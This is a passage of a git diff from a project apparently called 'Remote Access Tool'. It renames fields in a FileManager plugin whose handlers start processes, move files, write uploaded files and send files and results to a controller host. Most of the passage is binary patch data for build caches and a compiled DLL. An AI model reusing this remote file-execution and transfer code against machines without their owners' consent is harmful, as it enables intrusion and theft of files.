deleteFilePacket); break; case PacketType.FM_START_FILE: - filePath = ((StartFilePacket)loadingAPI.currentPacket).filePath; + filePath = ((StartFilePacket)loadingAPI.CurrentPacket).filePath; StartFile.StartAProcess(filePath); break; case PacketType.FM_RENAME_FILE: - RenameFilePacket renameFilePacketReceived = (RenameFilePacket)loadingAPI.currentPacket; - RenameFilePacket renameFilePacket = new RenameFilePacket(renameFilePacketReceived.oldName, renameFilePacketReceived.oldPath, renameFilePacketReceived.newName, renameFilePacketReceived.newPath, loadingAPI.baseIp, loadingAPI.HWID) + RenameFilePacket renameFilePacketReceived = (RenameFilePacket)loadingAPI.CurrentPacket; + RenameFilePacket renameFilePacket = new RenameFilePacket(renameFilePacketReceived.oldName, renameFilePacketReceived.oldPath, renameFilePacketReceived.newName, renameFilePacketReceived.newPath, loadingAPI.BaseIp, loadingAPI.HWID) { isRenamed = MoveFile.RenameFile(renameFilePacketReceived.oldPath, renameFilePacketReceived.newPath) }; - ClientSender(loadingAPI.host, loadingAPI.key, renameFilePacket); + ClientSender(loadingAPI.Host, loadingAPI.Key, renameFilePacket); break; case PacketType.FM_SHORTCUT_PATH: - ShortCutFileManagersPacket shortCutFileManagersPacketReceived = (ShortCutFileManagersPacket)loadingAPI.currentPacket; + ShortCutFileManagersPacket shortCutFileManagersPacketReceived = (ShortCutFileManagersPacket)loadingAPI.CurrentPacket; string newPath = ""; - ShortCutFileManagersPacket shortCutFileManagersPacket = new ShortCutFileManagersPacket(Shorcuts.ShortcutsWrapper(shortCutFileManagersPacketReceived.shortCuts, ref newPath), loadingAPI.baseIp, loadingAPI.HWID); + ShortCutFileManagersPacket shortCutFileManagersPacket = new ShortCutFileManagersPacket(Shorcuts.ShortcutsWrapper(shortCutFileManagersPacketReceived.shortCuts, ref newPath), loadingAPI.BaseIp, loadingAPI.HWID); shortCutFileManagersPacket.shortCuts = shortCutFileManagersPacketReceived.shortCuts; shortCutFileManagersPacket.path = newPath; - ClientSender(loadingAPI.host, loadingAPI.key, shortCutFileManagersPacket); + ClientSender(loadingAPI.Host, loadingAPI.Key, shortCutFileManagersPacket); break; case PacketType.FM_UPLOAD_FILE: - UploadFilePacket uploadFilePacketReceived = (UploadFilePacket)loadingAPI.currentPacket; - UploadFilePacket uploadFilePacket = new UploadFilePacket(uploadFilePacketReceived.path, UploadFile.WriteUploadedFile(uploadFilePacketReceived.path, Compressor.QuickLZ.Decompress(uploadFilePacketReceived.file)), loadingAPI.baseIp, loadingAPI.HWID); - ClientSender(loadingAPI.host, loadingAPI.key, uploadFilePacket); + UploadFilePacket uploadFilePacketReceived = (UploadFilePacket)loadingAPI.CurrentPacket; + UploadFilePacket uploadFilePacket = new UploadFilePacket(uploadFilePacketReceived.path, UploadFile.WriteUploadedFile(uploadFilePacketReceived.path, Compressor.QuickLZ.Decompress(uploadFilePacketReceived.file)), loadingAPI.BaseIp, loadingAPI.HWID); + ClientSender(loadingAPI.Host, loadingAPI.Key, uploadFilePacket); break; default: @@ -78,8 +78,8 @@ public static void Main(LoadingAPI loadingAPI) private static void ClientFileSender(LoadingAPI loadingAPI) { - string filePath = ((DownloadFilePacket)loadingAPI.currentPacket).fileName; - DownloadClientHandler clientHandler = new DownloadClientHandler(loadingAPI, ((DownloadFilePacket)loadingAPI.currentPacket).fileTicket, ((DownloadFilePacket)loadingAPI.currentPacket).bufferSize); + string filePath = ((DownloadFilePacket)loadingAPI.CurrentPacket).fileName; + DownloadClientHandler clientHandler = new DownloadClientHandler(loadingAPI, ((DownloadFilePacket)loadingAPI.CurrentPacket).fileTicket, ((DownloadFilePacket)loadingAPI.CurrentPacket).bufferSize); clientHandler.ConnectStart(); while (!clientHandler.Connected) Thread.Sleep(125); diff --git a/Remote Access Tool/Plugins/FileManager/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/FileManager/Properties/AssemblyInfo.cs index 6fcbb9b9..e19f4ac1 100644 --- a/Remote Access Tool/Plugins/FileManager/Properties/AssemblyInfo.cs +++ b/Remote Access Tool/Plugins/FileManager/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("3.2.3.0")] -[assembly: AssemblyFileVersion("3.2.3.0")] +[assembly: AssemblyVersion("3.2.4.0")] +[assembly: AssemblyFileVersion("3.2.4.0")] diff --git a/Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.csproj.AssemblyReference.cache index c6b72c5814c824d1318c09bd04b00b3f4904658b..eb9d7c9323f01a5c3988c1ff22678166ebf4eae9 100644 GIT binary patch delta 719 zcmah{Jxjzu5Y22Z!JLX8sAwZ7YNgTR&f;uD{6NJoOk*44o-CJajwC0Xl?n=?P1w@L zN)Rj*#Q$Kag@r%DO0d+Om=gujz=qj*v+vED-KXZ$K0^mXQ52Y(jg7h9{p0(Whvx+q&c1NhsXB-jM~6umYO=HE}=i*cP`Y39%FR|@vU`Nd7A_pVloHVsy zMK-P2@LZWMstPD#Fmsra2o5v<6D5Z(GbaSHs4NV!)PdYBDYr$PYQUmeT^L#0v7mX% zacCH_P3C@s{}=qN^DZQ8OBH8m#r10*}P)D8#QjICF6at9UsY+U^wRdZ!3U LQCyRCp{wH`rew;b delta 102 zcmeBCyvEDQ#>m0IFgcIci``V+E_wq_GGEdA^oBW42fzfz!EMM8?EJg<=CZM9v z%vF;^Sz9LWW$T(8$<;X7kEfn3MVPTj;O6AZJgwpoCeSnnMy@gwJp(;s17kx=1^_9Q B9Y6p8 diff --git a/Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.csproj.CoreCompileInputs.cache index fd16a85d..d0a0ac48 100644 --- a/Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.csproj.CoreCompileInputs.cache +++ b/Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.csproj.CoreCompileInputs.cache @@ -1 +1 @@ -371c911898b2b01f4dba74c63984a30a076dd2b7 +affd79c588507449c4a6fa375a984aadce4466e8 diff --git a/Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.dll b/Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.dll index 11705209f842edc2669fe154f4dfa0bd491b0fed..e945db8b8bafab23f755bf8bb8fba7063c08455b 100644 GIT binary patch delta 1678 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%0DMQAx70y%^j)qt^FhWx(Pd{Q=UV7rJf-%m>XS> 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 